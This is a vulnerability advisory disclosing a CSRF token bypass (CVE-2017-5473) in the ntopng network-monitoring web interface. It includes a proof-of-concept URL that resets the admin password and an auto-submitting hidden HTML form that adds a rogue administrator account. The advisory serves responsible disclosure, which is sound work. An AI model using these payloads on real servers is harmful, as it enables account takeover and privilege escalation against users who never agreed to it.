ntopng Web Interface 2.4.160627 Cross Site Request Forgery

`[+]#####################################################################################  
[+] Credits / Discovery: John Page AKA Hyp3rlinX  
[+] Website: hyp3rlinx.altervista.org  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt  
[+] ISR: ApparitionSEC  
[+]#####################################################################################  
  
  
  
Vendor:  
============  
www.ntop.org  
  
  
Product:  
====================  
ntopng Web Interface  
v2.4.160627  
  
ntopng is the next generation version of the original ntop, a network  
traffic probe that shows the network usage, similar  
to what the popular top Unix command does. ntopng is based on libpcap and  
it has been written in a portable way in order to  
virtually run on every Unix platform, MacOSX and on Windows as well.  
  
  
Vulnerability Type:  
==================  
CSRF Token Bypass  
  
  
  
CVE Reference:  
================  
CVE-2017-5473  
  
  
  
Security Issue:  
=================  
By simply omitting the CSRF token or supplying arbitrary token values will  
bypass CSRF protection when making HTTP requests,  
to the ntopng web interface. Allowing remote attackers the rights to make  
HTTP requests on an authenticated users behalf, if  
the user clicks an malicious link or visits an attacker webpage etc.  
  
  
Exploit/POC:  
============  
  
1) Change admin password  
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123  
  
  
2) Add arbitrary  
  
<form action="  
http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"  
method="GET">  
<input type="hidden" name="username" value="hyp3rlinx">  
<input type="hidden" name="full_name" value="TheApparitioN">  
<input type="hidden" name="password" value="abc123">  
<input type="hidden" name="confirm_password" value="abc123">  
<input type="hidden" name="host_role" value="administrator">  
<input type="hidden" name="allowed_networks" value="0.0.0.0/,::/">  
<input type="hidden" name="allowed_interface" value="HTTP/1.1">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
Disclosure Timeline:  
=====================  
Vendor Notification: January 11, 2017  
Vendor acknowledgement: January 12, 2017  
Vendor Fixed Issue  
January 20, 2017 : Public Disclosure  
  
  
  
Network Access:  
===============  
Remote  
  
  
Impact:  
======================  
Information Disclosure  
Privilege Escalation  
  
  
  
Severity:  
===========  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c) HYP3RLINX -  
Apparition  
  
Hyp3rlinX  
`